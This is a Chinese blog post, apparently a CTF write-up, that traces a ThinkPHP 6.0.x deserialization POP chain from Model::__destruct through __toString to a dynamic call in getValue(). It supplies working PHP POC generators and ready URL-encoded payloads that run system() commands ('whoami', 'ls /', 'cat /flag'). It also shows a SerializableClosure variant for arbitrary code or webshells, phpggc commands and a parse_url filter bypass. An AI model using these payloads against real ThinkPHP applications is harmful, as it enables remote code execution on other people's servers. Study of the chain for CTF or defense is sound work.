学习 ThinkPHP V6.0.x 反序列化链挖掘 - WHOAMIBunny

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2021年12月31日15:33:25评论296 views字数 13025阅读43分25秒阅读模式

[toc]

前几天在 Buuctf 上做了 [安洵杯 2019]iamthinking 这道题，题目给了源码，目的是让通过pop链审计出ThinkPHP6反序列化漏洞。

这里总结一下ThinkPHP6的反序列化漏洞的利用。

搭建环境

composer create-project topthink/think=6.0.x-dev thinkphp-v6.0
cd thinkphp-v6.0
php think run

ThinkPHP6需要php7.1及以上的环境才能搭建成功。

利用条件

这个漏洞的利用需要利用ThinkPHP进行二次开发，当源码中存在unserialize()函数且参数可控时，既可触发这个洞。

下面手动设置漏洞点，在Index控制器中写入：

<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
    public function index()
    {
        $c = unserialize($_GET['whoami']);   // 参数可控的unserialize函数
        var_dump($c);
        return 'Welcome to ThinkPHP!';
    }
}

下面我们开始研究POP链的构造。

__destruct() 链构造

在 ThinkPHP5.x 的POP链中，入口都是 think\process\pipes\Windows 类，通过该类触发任意类的 __toString 方法。但是 ThinkPHP6.x 的代码移除了 think\process\pipes\Windows 类，而POP链 __toString 之后的 Gadget 仍然存在，所以我们得继续寻找可以触发 __toString 方法的点。所有，总的目的就是跟踪寻找可以触发 __toString() 魔术方法的点。

先从起点 __destruct() 或 __wakeup 方法开始，因为它们就是unserialize的触发点。

（1）寻找 __destruct 方法

我们全局搜索 __destruct() 方法，这里发现了 /vendor/topthink/think-orm/src/Model.php 中 Model 类的 __destruct 方法：

并且当满足 $this->lazySave==true 时，它里面含有save()方法会被触发，我们跟进save()方法。

（2）跟进save()方法

发现对 $this->exists 属性进行判断，如果为true则调用updateData()方法，如果为false则调用insertData()方法。而要想到达这一步，则要先避免被前面的判断给return掉，所以需要先满足下面这个if语句：

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
    return false;
}

只需 $this->isEmpty() 为返回false，$this->trigger('BeforeWrite') 返回true即可。

先跟进 $this->isEmpty() 方法：

可见只需要满足$this->data不为空即可。

再跟进 $this->trigger() 方法（位于vendor\topthink\think-orm\src\model\concern\ModelEvent.php中）：

可见只需要满足 $this->withEvent == false 即可返回true。

在通过if判断语句之后，就可以进入到：

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

当 $this->exists == true 时进入 $this->updateData()；当 $this->exists == false 时进入 $this->insertData() 。

分别跟进这两个方法，发现 updateData() 存在继续利用的点，所以需要 $this->exists == true，跟进分析。

（3）跟进updateData()方法

这里下一步的利用点存在于 $this->checkAllowFields() 中，但是要进入并调用该函数，需要先通过①②两处的if语句：

通过①处if语句：通过上面对trigger()方法的分析，我们知道需要令 $this->withEvent == false 即可通过。由于前面已经绕过了save()方法中的trigger()，所以这里就不用管了。

通过②处if语句：需要 $data == 1（非空）即可，所以我们跟进 $this->getChangedData() 方法（位于vendor\topthink\think-orm\src\model\concern\Attribute.php中）看一下：

可见，我们只需要令 $this->force == true 即可直接返回 $this-data，而我们之前也需要设置 $this-data 为非空。

回到 updateData() 中，之后就可以成功调用到了 $this->checkAllowFields() 。

（4）跟进checkAllowFields()方法

可见，要想成功进入并执行 $this->db() 方法，我们要先通过前面的两个if语句：

通过①处if语句：只需令 $this->field 为空。

通过②处if语句：只需令 $this->schema 非空。

但可以看到field和schema是默认为空的（位于vendor\topthink\think-orm\src\model\concern\Attribute.php中），所以不用管，然后进一步跟进$this->db()。

（5）跟进db()方法

可以看到这里已经出现了用 . 进行字符串连接的操作了，所以我们可以把 $this->table 或 $this->suffix 设置成相应的类对象，此时通过 . 拼接便可以把类对象当做字符串，就可以触发 __toString() 方法了。

（6）__destruct() 链构造小结

目前为止，前半条POP链已经完成，即可以通过字符串拼接去调用 __toString()，所以先总结一下我们需要设置的点：

$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true

调用过程如下：

__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix（字符串拼接）——>toString()

但是还有一个问题就是 Model 类是抽象类，不能实例化。所以要想利用，得找出 Model 类的一个子类进行实例化，这里可以用 Pivot 类（位于\vendor\topthink\think-orm\src\model\Pivot.php中）进行利用：

__toString() 链构造

（1）寻找 __toString() 方法

既然前半条POP链已经能够触发 __toString() 了，下面就是寻找利用点。这次漏洞的 __toString() 利用点位于 vendor\topthink\think-orm\src\model\concern\Conversion.php 中名为Conversion 的trait中：

代码很简单，我们继续跟进 toJson() 方法。

（2）跟进toJson()方法

没什么好说的，继续跟进 toArray() 方法。

（3）跟进toArray()方法

对 $date进行遍历，其中 $key 为 $date 的键。默认情况下，会进入第二个 elseif 语句，从而将 $key 作为参数调用 getAttr() 方法。

我们接着跟进 getAttr() 方法（位于 vendor\topthink\think-orm\src\model\concern\Attribute.php 中）。

（4）跟进getAttr()方法

$value 的值返回自 $this->getData() 方法，且 getData() 方法的参数为上面 toArray() 传进来的 $key，跟进一下 getData() 方法：

第一个if判断传入的值，如果 $name 值不为空，则将 $name值传入到getRealFieldName()方法。

这里面 getRealFieldName() 方法的参数，即 $name，依然是上面 toArray() 传进来的 $key。

继续跟进 getRealFieldName() 方法：

当满足 $this->strict == true 时（默认为true），直接返回$name，也就是最开始从 toArray() 方法中传进来的 $key 值。

从 getRealFieldName() 方法回到 getData() 方法，此时 $fieldName 即为 $key。而返回语句如下：

这实际上就是返回了 $this->data[$key] 。

然后再从 getData() 回到 getAttr()，最后的返回语句如下：

这时参数 $name 则是从 toArray() 传进来的 $key，而参数 $value 的值就是 $this->data[$key]。

继续跟进一下 getValue() 方法。

跟进getValue()方法

我们在getValue()方法中可以看到最终的利用点，即：

$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);

只要我们令 $closure 为 "system"，$this->data 为要执行的命令就可以动态执行system()函数来Getshell了。

我们尝试令 withAttr[$fieldName]="system"、$this->data="whoami" ，即执行 system('whoami');。

但如果要构造以上命令还需要绕过前面的两个if语句：

通过①处if语句：只需 $this->withAttr[$key] 存在。

通过②处if语句：只需 $this->withAttr[$key] 存在且不为数组。

即 $this->withAttr 数组存在和 $date 一样的键 $key，并且这个键对应的值不能为数组。

（6）__toString() 链构造小结

至此，后半个POP链也构造完成，总结下__toString() 链需要构造的点：

trait Attribute
{
    private $data = ["evil_key" => "whoami"];
    private $withAttr = ["evil_key" => "system"];
}

除此之外还需要将前面说的字符串拼接处的 table 声明为Pivot类的对象，从而将两个POP链串联起来。

第二个POP链调用过程如下：

POC

最终POC如下：

<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["evil_key" => "whoami"];
    private $withAttr = ["evil_key" => "system"];
}

namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

运行得到payload：

O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7D

最后，利用我们该开始在Index控制器中创建的可控的反序列化点执行即可：

如上图，成功执行命令。

利用SerializableClosure来构造payload

还有一种方法就是用 ThinkPHP 自带的 SerializableClosure 来调用，我们来看一下这个方法。

主要是上面getValue()方法里的漏洞点，也就是构造pop链的最后的地方：

$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);

我们通过一步步控制 $closure 和 $this->data 最后构造并执行了动态函数。但是由于参数的限制，通过第一种方法我们无法执行 phpinfo() 这样的函数，所以我们尝试另一种方法，也就是利用 SerializableClosure。

\Opis\Closure 可用于序列化匿名函数，使得匿名函数同样可以进行序列化操作。这意味着我们可以序列化一个匿名函数，然后交由上述的 $closure($value, $this->data) 调用执行，即：

$func = function(){phpinfo();};
$closure = new \Opis\Closure\SerializableClosure($func);
$closure($value, $this->data);  // 这里的参数可以不用管

以上述代码为例，将调用phpinfo()函数。同样也可以通过将 phpinfo(); 改为别的来写webshell。

修改上面的POC即可：

<?php
namespace think\model\concern;

trait Attribute{
    private $data;
    private $withAttr;
}
trait ModelEvent{
    protected $withEvent;
}

namespace think;

abstract class Model{
    use model\concern\Attribute;
    use model\concern\ModelEvent;
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;
    function __construct($a = '')
    {   
    $func = function(){phpinfo();};  //可写马，测试用的phpinfo;
    $b=\Opis\Closure\serialize($func);
        $this->exists = true;
        $this->force = true;
    $this->lazySave = true;
    $this->withEvent = false;
        $this->suffix = $a;
        $this->data=['jiang'=>''];

        $c=unserialize($b); 
    $this->withAttr=['jiang'=>$c];
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model{}
require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot())));

?>

然后我们要执行这个POC生成payload。虽然 thinkphp 有自带的 SerializableClosure，但是我需要在本地执行POC，所以就要自行下载 \Opis\Closure： https://github.com/opis/closure。

将下载的Closure与POC放在同一目录

然后执行POC即可生成payload：

O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3Bs%3A0%3A%22%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A163%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A23%3A%22function%28%29%7B%5Cphpinfo%28%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A11%3A%22think%5CModel%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000007ff4c7fb000000003d8ec45f%22%3B%7D%7D%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3Bs%3A0%3A%22%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A163%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A23%3A%22function%28%29%7B%5Cphpinfo%28%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A11%3A%22think%5CModel%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000007ff4c7f5000000003d8ec45f%22%3B%7D%7D%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D

但是SerializableClosure这个方法我在本地没有利用成功，但在最后面安询杯拿到题目里面成功了，不知道为什么。

执行效果如下：

利用phpggc工具生成paylaod

下载地址：https://github.com/wh1t3p1g/phpggc

phpggc是一个反序列化payload生成工具。网上一个大佬已经将ThinkPHP6反序列化的exp添加进phpggc中，需要安装在linux上，然后执行以下命令生成即可生成payload：

php ./phpggc -u thinkphp/rce2 'phpinfo();'
php ./phpggc -u thinkphp/rce2 "system('whoami');"
# php ./phpggc thinkphp/rce2 <code>

但这里由于用到了SerializableClosure，需要使用编码器编码，不可直接输出拷贝利用。

CTF实战：[安洵杯 2019]iamthinking

[安洵杯 2019]iamthinking这道题目利用的就是ThinkPHP V6.0.x 反序列化漏洞。

进入题目，让我们访问/public/目录：

随便构造一个错误发现是thinkphp6的环境，并且提示我们要RCE：

题目给出了源码www.zip。拿到源码先看Index控制器：

这也太简单了，让我们用GET方法传入payload，然后将payload反序列化，不过事先要绕过绕过parse_url函数。

我们可以通过上面的POC构造payload：

<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["evil_key" => "ls /"];   // 查看根目录文件
    // private $data = ["evil_key" => "cat /flag"];   // 读取flag
    private $withAttr = ["evil_key" => "system"];
}

namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

首先，我们查看根目录的文件，得到payload：

O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A4%3A%22ls+%2F%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A4%3A%22ls+%2F%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7D

然后，就要绕过parse_url函数对payload中“O”的检测，parse_url函数有个bug，即在域名（主机名）后面多加了两个斜杠 / 后会报错返回false，所以我们构造类似如下的url即可绕过parse_url函数的检测：

http://xxx.com///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot......%3Bs%3A6%3A%22system%22%3B%7D%7D

这是因为多加了几个 / 后导致严重不合格的 URL，此时将不能正常返回url中的参数值，遇到这样格式的连接，parse_url函数将会报错返回False，这种情况下可能会绕过某些waf的过滤。

如下成功执行命令：

读取flag：

http://xxx.com///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7D

成功。

还可以利用上面提到的phpggc工具来生成payload：

php ./phpggc -u thinkphp/rce2 'phpinfo();'
php ./phpggc -u thinkphp/rce2 "system('cat /flag');"
# php ./phpggc thinkphp/rce2 <code>

Ending......

参考：

https://blog.csdn.net/qq_42181428/article/details/105777872

https://www.anquanke.com/post/id/187393

https://www.gaojiufeng.cn/?id=386

https://www.anquanke.com/post/id/187332

https://www.cnblogs.com/JinYITong/p/13994856.html

BY:先知论坛

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搭建环境

利用条件

__destruct() 链构造

（1）寻找 __destruct 方法

（2）跟进save()方法

（3）跟进updateData()方法

（4）跟进checkAllowFields()方法

（5）跟进db()方法

（6）__destruct() 链构造小结

__toString() 链构造

（1）寻找 __toString() 方法

（2）跟进toJson()方法

（3）跟进toArray()方法

（4）跟进getAttr()方法

跟进getValue()方法

（6）__toString() 链构造小结

POC

利用SerializableClosure来构造payload

利用phpggc工具生成paylaod

CTF实战：[安洵杯 2019]iamthinking

Ending......

一次小型 APT 持久潜伏内网域渗透（上） - saulGoodman

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